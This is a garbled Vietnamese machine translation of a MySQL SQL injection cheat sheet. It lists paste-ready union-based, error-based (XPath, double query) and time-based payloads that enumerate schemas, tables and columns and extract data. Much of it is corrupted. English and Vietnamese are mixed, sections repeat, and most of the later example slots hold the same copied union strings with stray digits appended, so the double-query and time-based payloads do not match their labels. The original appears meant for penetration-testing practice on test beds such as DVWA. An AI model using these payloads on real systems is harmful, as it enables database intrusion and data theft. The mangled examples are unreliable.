Hướng dẫn mysql cheat sheet - bảng gian lận mysql

Hướng dẫn mysql cheat sheet - bảng gian lận mysql

Có rất nhiều tấm cheat SQL Incun xuất sắc ngoài kia; Tuy nhiên, tôi tìm thấy phần lớn chỉ cung cấp các thành phần của SQL tiêm thay vì toàn bộ chuỗi làm việc. Do đó, việc đặt thành công một truy vấn hợp lệ với nhau có thể thực hiện một số thử nghiệm và lỗi và lãng phí thời gian quý báu. Do đó, tôi đã cố gắng tạo một danh sách các chuỗi được tạo sẵn cho từng loại tiêm SQL để chúng có thể được dán vào với ít sửa đổi.

Vì tiêm SQL có thể được nhóm lại thành ba loại, dựa trên liên minh, dựa trên lỗi (XPath và Double Truy vấn) và suy luận (dựa trên thời gian và Boolean), tôi đã liệt kê chúng như vậy. Dưới đây bạn sẽ tìm thấy cú pháp cụ thể của MySQL trong khi tôi sẽ đăng tờ Cheat MSSQL của mình trong thời gian ngắn.

Để tránh sự lặp lại, bất cứ nơi nào bạn thấy: & nbsp; phiên bản () & nbsp; (được sử dụng để truy xuất phiên bản cơ sở dữ liệu), bạn có thể thay thế nó bằng:

Cơ sở dữ liệu () & nbsp; - Để truy xuất tên của cơ sở dữ liệu hiện tại () & nbsp; - để truy xuất tên người dùng mà cơ sở dữ liệu chạy theo @@ hostname & nbsp; - để truy xuất tên máy chủ và địa chỉ IP của máy chủ @@ DataDir & nbsp; Vị trí của các tệp cơ sở dữ liệu
user() – to retrieve the username that the database runs under
@@hostname – to retrieve the hostname and IP address of the server
@@datadir – to retrieve the location of the database files

Lưu ý rằng các ví dụ của tôi dưới đây sẽ được xây dựng để tiêm vào trường số nguyên. Nếu nó là một trường chuỗi, chỉ cần thêm một trích dẫn sau tham số dễ bị tổn thương. Tôi cũng bao gồm các nhân vật bình luận trong chuỗi tiêm của tôi; Tuy nhiên, chúng có thể không cần thiết tùy thuộc vào nơi xảy ra truy vấn SQL. Cuối cùng, đừng quên không gian sau khi bình luận!

LIÊN HIỆP

Union & nbsp; được sử dụng để nối SQL tiêm của chúng tôi vào một truy vấn hợp pháp và kết hợp thông tin chúng tôi muốn truy xuất với truy vấn hợp pháp. Lưu ý rằng bạn cần liệt kê số lượng cột trước, điều này có thể đạt được bằng cách sử dụng & nbsp; đơn hàng by & nbsp; hàm hoặc sử dụng liên kết với & nbsp; null & nbsp; giá trị.

Giả sử có hai cột:

Truy xuất phiên bản cơ sở dữ liệu:

1 UNION ALL SELECT NULL,version()--

Truy xuất tên cơ sở dữ liệu:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--

Truy xuất tên bảng:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--

Truy xuất tên cột:

1 UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'--

Khôi phục dữ liệu:

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM table1--

Truy xuất dữ liệu từ cơ sở dữ liệu khác:

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM database2.table1--

Dựa trên lỗi

Khi không có đầu ra ngoại trừ lỗi MySQL, bạn có thể buộc trích xuất dữ liệu của mình thông qua lỗi. Lưu ý rằng cả hai phương thức dưới đây có thể dễ dàng tự động hóa bằng cách sử dụng & nbsp;

XPath

& Nbsp; extractValue () & nbsp; function & nbsp; tạo ra lỗi SQL khi không thể phân tích dữ liệu XML được truyền cho nó. May mắn thay, dữ liệu XML và trong trường hợp của chúng tôi, kết quả được đánh giá của truy vấn SQL của chúng tôi, sẽ được nhúng vào thông báo lỗi tiếp theo. Chi tiêu một điểm dừng hoàn toàn hoặc một dấu hai chấm (chúng tôi sử dụng biểu diễn HEX là 0x3a bên dưới) cho & nbsp; bắt đầu truy vấn XML sẽ đảm bảo phân tích cú pháp sẽ luôn thất bại, do đó tạo ra lỗi với dữ liệu được trích xuất của chúng tôi. Lưu ý rằng điều này chỉ hoạt động trên MySQL phiên bản 5.1 trở lên. Sử dụng & nbsp; giới hạn & nbsp; chức năng để chu kỳ thông qua thông tin cơ sở dữ liệu.

Truy xuất phiên bản cơ sở dữ liệu:

1 AND extractvalue(rand(),concat(0x3a,version()))--

Truy xuất tên cơ sở dữ liệu:

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1)))--

Truy xuất tên bảng:

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1)))--

Truy xuất tên cột:

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_NAME="table1" LIMIT 0,1)))--

Khôi phục dữ liệu:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
0

Truy xuất dữ liệu từ cơ sở dữ liệu khác:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
1

Dựa trên lỗi

Khi không có đầu ra ngoại trừ lỗi MySQL, bạn có thể buộc trích xuất dữ liệu của mình thông qua lỗi. Lưu ý rằng cả hai phương thức dưới đây có thể dễ dàng tự động hóa bằng cách sử dụng & nbsp;
Retrieve database version:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
2

Truy xuất tên cơ sở dữ liệu:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
3

Truy xuất tên bảng:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
4

Truy xuất tên cột:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
5

Retrieve data:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
6

Truy xuất dữ liệu từ cơ sở dữ liệu khác:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
7

Dựa trên lỗi

Khi không có đầu ra ngoại trừ lỗi MySQL, bạn có thể buộc trích xuất dữ liệu của mình thông qua lỗi. Lưu ý rằng cả hai phương thức dưới đây có thể dễ dàng tự động hóa bằng cách sử dụng & nbsp;

XPath

& Nbsp; extractValue () & nbsp; function & nbsp; tạo ra lỗi SQL khi không thể phân tích dữ liệu XML được truyền cho nó. May mắn thay, dữ liệu XML và trong trường hợp của chúng tôi, kết quả được đánh giá của truy vấn SQL của chúng tôi, sẽ được nhúng vào thông báo lỗi tiếp theo. Chi tiêu một điểm dừng hoàn toàn hoặc một dấu hai chấm (chúng tôi sử dụng biểu diễn HEX là 0x3a bên dưới) cho & nbsp; bắt đầu truy vấn XML sẽ đảm bảo phân tích cú pháp sẽ luôn thất bại, do đó tạo ra lỗi với dữ liệu được trích xuất của chúng tôi. Lưu ý rằng điều này chỉ hoạt động trên MySQL phiên bản 5.1 trở lên. Sử dụng & nbsp; giới hạn & nbsp; chức năng để chu kỳ thông qua thông tin cơ sở dữ liệu.

Truy vấn kép

Trong khi truy vấn này sẽ trả về một trang khác:

Truy xuất phiên bản:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
8

Lưu ý, một cách tốt hơn để truy xuất phiên bản trong bối cảnh này là sử dụng & nbsp; như & nbsp; function:

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
9

Truy xuất cơ sở dữ liệu:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
0

Truy xuất bảng:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
1

Truy xuất cột:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
2

Khôi phục dữ liệu:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
3

Truy xuất dữ liệu từ cơ sở dữ liệu khác:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
4

Dựa trên thời gian

Nếu các trang giống hệt nhau được trả về cho các phản hồi đúng hoặc sai, độ trễ thời gian có thể được tạo bởi & nbsp; if & nbsp; ands ngủ & nbsp; các chức năng và được sử dụng để suy ra thông tin cơ sở dữ liệu thay thế.

Kiểm tra sự hiện diện của lỗ hổng:

Truy xuất phiên bản:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
5

Lưu ý, một cách tốt hơn để truy xuất phiên bản trong bối cảnh này là sử dụng & nbsp; như & nbsp; function:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
6

Truy xuất cơ sở dữ liệu:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
7

Truy xuất bảng:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
8

Truy xuất cột:

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
9

Khôi phục dữ liệu:

1 UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'--
0

Truy xuất dữ liệu từ cơ sở dữ liệu khác:

1 UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'--
1

Dựa trên thời gian

Nếu các trang giống hệt nhau được trả về cho các phản hồi đúng hoặc sai, độ trễ thời gian có thể được tạo bởi & nbsp; if & nbsp; ands ngủ & nbsp; các chức năng và được sử dụng để suy ra thông tin cơ sở dữ liệu thay thế.

Kiểm tra sự hiện diện của lỗ hổng:
Ferruh Mavituna’s cheat sheet
Kaotic Creations’s article on XPath injection
Kaotic Creations’s article on double query injection

Truy xuất phiên bản bằng cách sử dụng như:

Nguồn được sử dụng
SQLZoo – another great (online) test bed

Thông tin trên được lấy từ nhiều nguồn khác nhau, bao gồm:

Hướng dẫn mysql cheat sheet - bảng gian lận mysql

Pentest Monkey từ MySQL Injection Cheat SheetFerruh Mavituna, Cheat Sheetkaotic Creations Bài viết về Xpath Injectionkaot Creations Bài viết

Một số tài nguyên khác tôi đề xuất là:

Dvwa & nbsp; - giường thử nghiệm tuyệt vời sqlzoo & nbsp; - một giường thử nghiệm tuyệt vời (trực tuyến) khác

Hướng dẫn mysql cheat sheet - bảng gian lận mysql

Pentest Monkey từ MySQL Injection Cheat SheetFerruh Mavituna, Cheat Sheetkaotic Creations Bài viết về Xpath Injectionkaot Creations Bài viết

Một số tài nguyên khác tôi đề xuất là:

Dvwa & nbsp; - giường thử nghiệm tuyệt vời sqlzoo & nbsp; - một giường thử nghiệm tuyệt vời (trực tuyến) khác